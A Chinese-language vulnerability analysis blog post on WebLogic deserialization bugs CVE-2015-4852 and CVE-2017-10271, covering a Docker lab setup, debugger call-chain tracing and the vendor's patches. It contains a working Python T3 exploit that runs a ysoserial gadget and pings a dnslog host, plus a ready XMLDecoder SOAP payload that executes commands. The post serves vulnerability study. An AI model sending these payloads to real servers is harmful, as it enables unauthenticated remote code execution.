WebLogic反序列化漏洞分析

Weblogic 就和 Tomcat 差不多,从功能上来说就是两个 Web 服务端,也是启动器。WebLogic 功能更全面、开箱即用,适合复杂的企业级应用;Tomcat 轻量灵活,适合简单的 Web 项目或作为底层容器,高级功能需要开发者自己扩展。

0x01 环境搭建

奇安信 A-team 提供的脚本

1
https://github.com/QAX-A-Team/WeblogicEnvironment

下载对应版本的 JDK 和 Weblogic 然后分别放在 jdks 和 weblogict3 中

1
2
3
4
5
JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html

Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html
直接在 Oracle 下载中心搜索 "WebLogic Server 10.3.6
或者搜索wls1036_generic.jar

image-20260424095046331

image-20260424095100153

先改写一下 Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# 基础镜像
FROM centos:centos7
# 参数
ARG JDK_PKG
ARG WEBLOGIC_JAR
# 解决libnsl包丢失的问题
# RUN yum -y install libnsl

# 创建用户
RUN groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle
# 创建需要的文件夹和环境变量
RUN mkdir -p /install && mkdir -p /scripts
ENV JDK_PKG=$JDK_PKG
ENV WEBLOGIC_JAR=$WEBLOGIC_JAR

# 复制脚本
COPY scripts/jdk_install.sh /scripts/jdk_install.sh
COPY scripts/jdk_bin_install.sh /scripts/jdk_bin_install.sh

COPY scripts/weblogic_install11g.sh /scripts/weblogic_install11g.sh
COPY scripts/weblogic_install12c.sh /scripts/weblogic_install12c.sh
COPY scripts/create_domain11g.sh /scripts/create_domain11g.sh
COPY scripts/create_domain12c.sh /scripts/create_domain12c.sh
COPY scripts/open_debug_mode.sh /scripts/open_debug_mode.sh
COPY jdks/$JDK_PKG .
COPY weblogics/$WEBLOGIC_JAR .

# 判断jdk是包(bin/tar.gz)weblogic包(11g/12c)载入对应脚本
RUN if [ $JDK_PKG == *.bin ] ; then echo ****载入JDK bin安装脚本**** && cp /scripts/jdk_bin_install.sh /scripts/jdk_install.sh ; else echo ****载入JDK tar.gz安装脚本**** ; fi
RUN if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****载入11g安装脚本**** && cp /scripts/weblogic_install11g.sh /scripts/weblogic_install.sh && cp /scripts/create_domain11g.sh /scripts/create_domain.sh ; else echo ****载入12c安装脚本**** && cp /scripts/weblogic_install12c.sh /scripts/weblogic_install.sh && cp /scripts/create_domain12c.sh /scripts/create_domain.sh ; fi

# 脚本设置权限及运行
RUN chmod +x /scripts/jdk_install.sh
RUN chmod +x /scripts/weblogic_install.sh
RUN chmod +x /scripts/create_domain.sh
RUN chmod +x /scripts/open_debug_mode.sh
# 安装JDK
RUN /scripts/jdk_install.sh
# 安装weblogic
RUN /scripts/weblogic_install.sh
# 创建Weblogic Domain
RUN /scripts/create_domain.sh
# 打开Debug模式
RUN /scripts/open_debug_mode.sh
# 启动 Weblogic Server
# CMD ["tail","-f","/dev/null"]
CMD ["/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh"]
EXPOSE 7001

centos7部署docker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
安装依赖工具
sudo yum install -y yum-utils device-mapper-persistent-data lvm2

添加阿里云Docker仓库
sudo yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
替换为阿里云镜像源(可选但推荐)
sudo sed -i 's+download.docker.com+mirrors.aliyun.com/docker-ce+' /etc/yum.repos.d/docker-ce.repo

更新YUM缓存
sudo yum makecache fast

安装Docker CE
bash
sudo yum install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

启动与验证
启动Docker服务
sudo systemctl start docker

设置开机自启
sudo systemctl enable docker

配置Docker镜像加速器(国内镜像源)
1. 创建/修改Docker配置文件
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": [
"https://docker.mirrors.ustc.edu.cn",
"https://hub-mirror.c.163.com",
"https://mirror.baidubce.com",
"https://registry.docker-cn.com"
]
}
EOF
2. 重新加载配置并重启Docker
sudo systemctl daemon-reload
sudo systemctl restart docker

起环境

1
2
3
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

0x01 CVE-2015-4852 WebLogic T3 反序列化分析

漏洞的根源在于WebLogic在处理RMI(Remote Method Invocation,远程方法调用)或JNDI(Java Naming and Directory Interface,Java命名和目录接口)请求时,对客户端传入的序列化数据没有进行足够的安全检查,就进行了反序列化操作。

影响版本:Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3。

T3 协议

T3 协议其实是 Weblogic 内独有的一个协议,WebLogic的RMI通信默认就是通过T3协议封装的。攻击者向WebLogic的T3服务端口(默认为7001)发送一个精心构造的、包含恶意序列化数据的T3协议数据包,来触发这个RMI层的漏洞。

在 T3 的这个协议里面包含请求包头和请求的主体这两部分内容。

CVE-2015-4852 的 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
JAR_FILE = '.\ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
# print(popen.stdout.read())
return popen.stdout.read()

def get_payload2(path):
with open(path, "rb") as f:
return f.read()

def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return

print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)

if __name__ == "__main__":
host = "192.168.216.153"
port = 7001
gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
command = "ping -n 3 aaaaaaaaa.a89ee373.log.dnslog.pp.ua."

payload = get_payload1(gadget, command)
exp(host, port, payload)

为什么攻击T3端口(7001),而不是HTTP端口(7002)?

  • 因为WebLogic的RMI服务默认监听在T3协议上

如果WebLogic关闭了T3服务,还能攻击吗?

  • 可能还有其他入口,比如IIOP、HTTP等,但T3是最常见的

回显 Not Weblogic,用以 debug 模式运行,因为 python socket 如果是频繁发包,会被服务端所拒绝。

image-20260427092925253

Weblogic 请求包头

我们需要通过 Wireshark 对这一个流量包执行抓包操作,后续抓到包的请求头如图

image-20260427102357220

image-20260427102237685

这一个就是它请求包的头

1
2
3
4
t3 12.2.3
AS:255
HL:19
MS:10000000

在发送该请求包头后,服务端 Weblogic 会有一个响应,内容如下

1
2
3
HELO:10.3.6.0.false
AS:2048
HL:19

HELO 后面的内容则是被攻击方的 Weblogic 版本号,也就是说,在发送正确的请求包头后,服务端会进行一个返回 Weblogic 的版本号。

Weblogic 请求主体

请求主体,也就是发送的数据,这些数据分为七部分内容

img

第一个非 Java 序列化数据,也就是我们的请求头:t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

后面第 n 部分的数据,其实是不限制的,也就是说,我可以只有一部分的 Java 序列化数据,也可以有七部分的 Java 序列化数据,这并不重要,我们可以看观察一下 Wireshark 抓的包

ac ed 00 05 之后的内容便是序列化的数据,所以如果我们要进行攻击,应该是对于这一串序列化的数据进行恶意构造,让服务端在反序列化的时候发起攻击。

image-20260427104519614

漏洞分析

weblogic 10.3.6 的包里面包含有 Commons Collections 3.2.0 的包。

反序列化的入口类是在 InboundMsgAbbrev#readObject 处,断点开始调试,执行py文件。

image-20260428163250003

先跟进 ServerChannelInputStream 的构造函数,ServerChannelInputStream 这个类的作用是处理服务端收到的请求头信息

image-20260428163433563

继续跟进 getServerChannel() 方法

image-20260428163522512

我们可以关注一下目前的 this.connection 是什么

connectionweblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@49be5302 这个类,在 this.connection 中主要存储了一些 RMI 连接的数据,包括端口地址等

image-20260428165959061

跟进 getChannel() 方法,开始处理 T3 协议

image-20260428170306150

  • T3 头处理结束,重新回到 InboundMsgAbbrev#readObject 处,跟进 readObject() 方法

一路跟进至 InboundMsgAbbrev#resolveClass()

resolveClass() 用于在反序列化过程中解析类描述符。此时参数 var1 对应的是 AnnotationInvocationHandler 的类描述信息。

resolveClass在反序列化过程中,根据序列化数据流中的类描述符(类名),去加载对应的Class对象。简单说,就是“根据名字找到这个类”。

image-20260428175235753

resolveClass() 本身属于反序列化流程:它根据流中的类描述符解析并加载对应的 Class。类解析完成后,ObjectInputStream 继续恢复对象图,并在相应阶段调用类的 readObject()。因此这里不是“先完成全部解析,再开始真正反序列化”,而是同一次反序列化过程中的不同步骤。随后 AnnotationInvocationHandler.readObject() 调用 memberValues.entrySet(),而 memberValues 被动态代理包装成 LazyMap,于是进入后续调用链:

后续进入 CC1 链的调用流程:

1
2
3
4
5
6
7
AnnotationInvocationHandler.readObject()
memberValues.entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

漏洞修复

在 resolveClass 处打补丁

在前面分析的过程中,我们能够看出来,加载类其实是通过调用 resolveClass() 方法,再通过反射获取到任意类的,所以官方选择了基于 resolveClass() 去做黑名单校验。

如果在 resolveClass() 处加入一个过滤,在 readNonProxyDesc 调用完 resolveClass 方法后,后面的反序列化操作无法完成。

img

通过 Web 代理与 nginx 等负载均衡防御

可以有效阻断公网直接发送 T3 恶意序列化包,因为 Nginx 只识别 HTTP 协议,会直接丢弃非法的 T3 握手数据。

0x03 CVE-2017-10271 WebLogic XMLDecoder

攻击者构造一个恶意的 SOAP 请求,在 XML 中嵌入 等标签,利用 XMLDecoder 的特性执行系统命令(例如通过 Runtime.exec 或 ProcessBuilder),从而实现 远程代码执行(RCE)。

WebLogic 的 WLS Security 组件对外提供 WebService 服务,Weblogic 本质上是 Web Service 服务,报文内容类型是 SOAP 型 WebService 报文,所以 /wls-wsat/CoordinatorPortType 接口可以接收 XML 数据的请求包,在处理传入的 XML 数据时,WebLogic 使用了 java.beans.XMLDecoder 来解析 XML 结构。XMLDecoder 可以将 XML 直接反序列化为 Java 对象,并且支持调用任意方法。

漏洞影响版本:该漏洞无需任何身份验证即可触发,WebLogic 存在 WLS-WebServices 的组件皆会受到影响。

漏洞分析

demo:

1
2
3
4
5
6
7
8
9
10
11
12
import java.beans.XMLDecoder;  
import java.io.BufferedInputStream;
import java.io.FileInputStream;

// XML 反序列化漏洞的 Demopublic class XMLDecoderEvilDemo {
public static void main(String[] args) throws Exception {
FileInputStream file = new FileInputStream("F://poc.xml");
XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(file));
Object result = xmlDecoder.readObject();
xmlDecoder.close();
}
}

对应的 poc.xml 如下

1
2
3
4
5
6
7
8
9
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>Calc</string>
</void>
</array>
<void method="start"/></void>
</java>

使用 java.lang.ProcessBuilder 进行代码执行,整个恶意 XML 反序列化后相当于执行代码:

1
2
3
String[] cmd = new String[1];
cmd[0] = "Calc";
new ProcessBuilder(cmd).start();

POST 包整体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 482

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>Calc</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

首先看到 server/lib/wls-wsat.war/WEB-INF/web.xml 文件中存在许多接口,这些接口都可以对 SOAP 报文进行处理,也就是说,这些接口都存在 Weblogic XMLDecoder 反序列化的漏洞

image-20260429170414470

接着我们去到 weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest 方法,这个方法对接口数据进行了初步的处理,打断点进行调试。

image-20260429170545686

image-20260430151544198

此处 var1 为我们的恶意 xml 数据,var2 获取了 xml header,也就是 text/xml,并将其转换为列表形式,var3 是从 var2 中获取 WorkAreaConstants.WORK_AREA_HEADER 得到的,最后将 var3 放入 readHeaderOld() 方法进行处理。

image-20260430151902641

跟进,在构造出 var6 之前,本质上都是在做赋值的工作,var4 获取了恶意 XML 数据里面的内容部分。关于 var6 的构造,我们需要跟进 WorkContextXmlInputAdapter 类的构造函数

image-20260430152122308

可以看到本质上是 new 了一个 XMLDecoder 类,并将 var4 的内容(XML 数据里的内容)赋了进去。继续往下,跟进 receive() 方法

image-20260430152238896

image-20260430152338154

receive() 方法生成了处理 XMLDecoder 类的处理器,进行下一步 receiveRequest() 的处理,再跟进

image-20260430152353110

receive() 方法生成了处理 XMLDecoder 类的处理器,进行下一步 receiveRequest() 的处理,再跟进

image-20260430152443041

再跟进 readEntry() 方法,readEntry() 方法调用了 readUTF() 方法,跟进 readUTF() 方法,上面一直在做层层封装的工作

image-20260430153118950

image-20260430153132796

readUTF() 方法中,调用了 readObject() 方法,对 XML 数据进行反序列化解析。

image-20260430153210454

后续一直跟进,命令执行发生在com.sun.beans.decoder.MethodElementHandlerendElement()方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 简化的MethodElementHandler逻辑
class MethodElementHandler extends ElementHandler {
public void endElement() {
// 获取方法名,例如"start"
String methodName = getAttribute("method");
// 获取拥有者对象,即之前创建的ProcessBuilder实例
Object owner = getOwnerObject();
// 获取参数
Object[] args = getArguments();

// 通过反射调用方法 ← 命令在这里执行!
Method method = findMethod(owner.getClass(), methodName, args);
Object result = method.invoke(owner, args);

// 将结果存入上下文,供后续readObject读取
getContext().setValueObject(result);
}
}

完整流程就是:

1
2
3
4
5
6
7
8
WorkContextXmlInputAdapter.readUTF()              ← WebLogic 侧入口
XMLDecoder.readObject()
XMLDecoder.parsingComplete()
...
DocumentHandler.endElement()
ElementHandler.endElement()
MethodElementHandler.endElement()
getValueObject()

漏洞修复

CVE-2017-3506 补丁分析

这里补丁在 WorkContextXmlInputAdapter 中添加了 validate 验证,限制了 object 标签,用就报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 1. 接收你传过来的 HTTP POST 数据流(也就是你发过去的 XML)
private void validate(InputStream is) {
// 2. 创建一个 SAX 解析器。SAX 的特点是“边读边解析”,速度快。
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();

// 3. 开始解析 XML 内容,并定义一个“处理器(DefaultHandler)”
parser.parse(is, new DefaultHandler() {

// 4. 【核心逻辑】每当解析器遇到一个 XML 标签的开头时(比如遇到 <string> 或 <object>),就会调用这个方法。
// qName 就是标签的名字
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {

// 5. 【补丁精髓】检查这个标签名字是不是 "object"(忽略大小写)
if(qName.equalsIgnoreCase("object")) {
// 6. 如果是,抛出异常(报错),程序在这里中断,后面的 XMLDecoder 根本没机会执行。
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (...) { // 异常处理... }
}

CVE-2017-10271 补丁分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}

依然是进行黑名单判断

根据业务所有需求,考虑是否删除 WLS-WebServices 组件。包含此组件路径为:

1
2
3
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat 
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
Middleware/wlserver_10.3/server/lib/wls-wsat.war

以上路径都在 WebLogic 安装处。删除以上文件之后,需重启 WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为 404 页面。